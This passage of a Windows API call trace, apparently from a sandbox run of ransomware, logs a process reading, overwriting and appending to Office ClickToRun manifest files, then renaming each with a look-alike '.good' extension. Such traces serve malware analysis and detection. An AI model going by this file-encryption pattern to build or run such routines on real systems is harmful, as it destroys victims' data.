(lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0087.870] GetFileType (hFile=0x778) returned 0x1 [0087.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.870] GetFileType (hFile=0x778) returned 0x1 [0087.870] WriteFile (in: hFile=0x778, lpBuffer=0x31d2160*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x31d2160*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0087.870] CloseHandle (hObject=0x778) returned 1 [0087.870] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0087.870] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x76 [0087.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0087.871] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3096ce4c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x181e)) returned 1 [0087.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0087.871] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml.gоod")) returned 1 [0087.871] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x79 [0087.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0087.872] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x3200760 | out: lpFileInformation=0x3200760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd257bc65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979c)) returned 1 [0087.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0087.872] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x79 [0087.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.872] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0087.872] GetFileType (hFile=0x778) returned 0x1 [0087.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.872] GetFileType (hFile=0x778) returned 0x1 [0087.872] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0087.872] ReadFile (in: hFile=0x778, lpBuffer=0x3200cc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x3200cc8*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0088.369] CloseHandle (hObject=0x778) returned 1 [0088.369] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x79 [0088.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0088.370] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0088.370] GetFileType (hFile=0x778) returned 0x1 [0088.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0088.370] GetFileType (hFile=0x778) returned 0x1 [0088.370] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1979c [0088.370] WriteFile (in: hFile=0x778, lpBuffer=0x333d478*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x333d478*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0088.372] CloseHandle (hObject=0x778) returned 1 [0088.372] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x79 [0088.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0088.372] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0088.372] GetFileType (hFile=0x778) returned 0x1 [0088.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0088.372] GetFileType (hFile=0x778) returned 0x1 [0088.372] ReadFile (in: hFile=0x778, lpBuffer=0x333f8f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x333f8f0*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0088.403] CloseHandle (hObject=0x778) returned 1 [0088.403] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x79 [0088.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0088.404] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0088.404] GetFileType (hFile=0x778) returned 0x1 [0088.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0088.404] GetFileType (hFile=0x778) returned 0x1 [0088.404] WriteFile (in: hFile=0x778, lpBuffer=0x333e5a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x333e5a0*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0088.404] CloseHandle (hObject=0x778) returned 1 [0088.404] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x79 [0088.404] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x7e [0088.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0088.404] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x30e74f9e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x197ac)) returned 1 [0088.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0088.404] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml.gоod")) returned 1 [0088.405] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6f [0088.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0088.405] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x33bd170 | out: lpFileInformation=0x33bd170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed578aca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed578aca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd32bedda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b94)) returned 1 [0088.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0088.406] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6f [0088.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0088.406] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0088.406] GetFileType (hFile=0x778) returned 0x1 [0088.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0088.406] GetFileType (hFile=0x778) returned 0x1 [0088.406] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0088.406] ReadFile (in: hFile=0x778, lpBuffer=0x33bd688, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x33bd688*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0088.503] CloseHandle (hObject=0x778) returned 1 [0088.503] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6f [0088.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0088.503] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0088.503] GetFileType (hFile=0x778) returned 0x1 [0088.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0088.503] GetFileType (hFile=0x778) returned 0x1 [0088.503] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x5b94 [0088.504] WriteFile (in: hFile=0x778, lpBuffer=0x325c840*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x325c840*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0088.504] CloseHandle (hObject=0x778) returned 1 [0088.505] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6f [0088.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0088.505] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0088.505] GetFileType (hFile=0x778) returned 0x1 [0088.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0088.505] GetFileType (hFile=0x778) returned 0x1 [0088.505] ReadFile (in: hFile=0x778, lpBuffer=0x325ed38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x325ed38*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0088.544] CloseHandle (hObject=0x778) returned 1 [0088.544] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6f [0088.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0088.544] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0088.545] GetFileType (hFile=0x778) returned 0x1 [0088.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0088.545] GetFileType (hFile=0x778) returned 0x1 [0088.545] WriteFile (in: hFile=0x778, lpBuffer=0x325da10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x325da10*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0088.545] CloseHandle (hObject=0x778) returned 1 [0088.545] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6f [0088.545] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x74 [0088.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0088.545] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed578aca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed578aca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x30fcc50f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba4)) returned 1 [0088.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0088.545] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml.gоod")) returned 1 [0088.546] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x73 [0088.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0088.546] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x32db2c8 | out: lpFileInformation=0x32db2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5063b1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5063b1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3593a88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b4a)) returned 1 [0088.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0088.769] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x73 [0088.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0088.769] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: 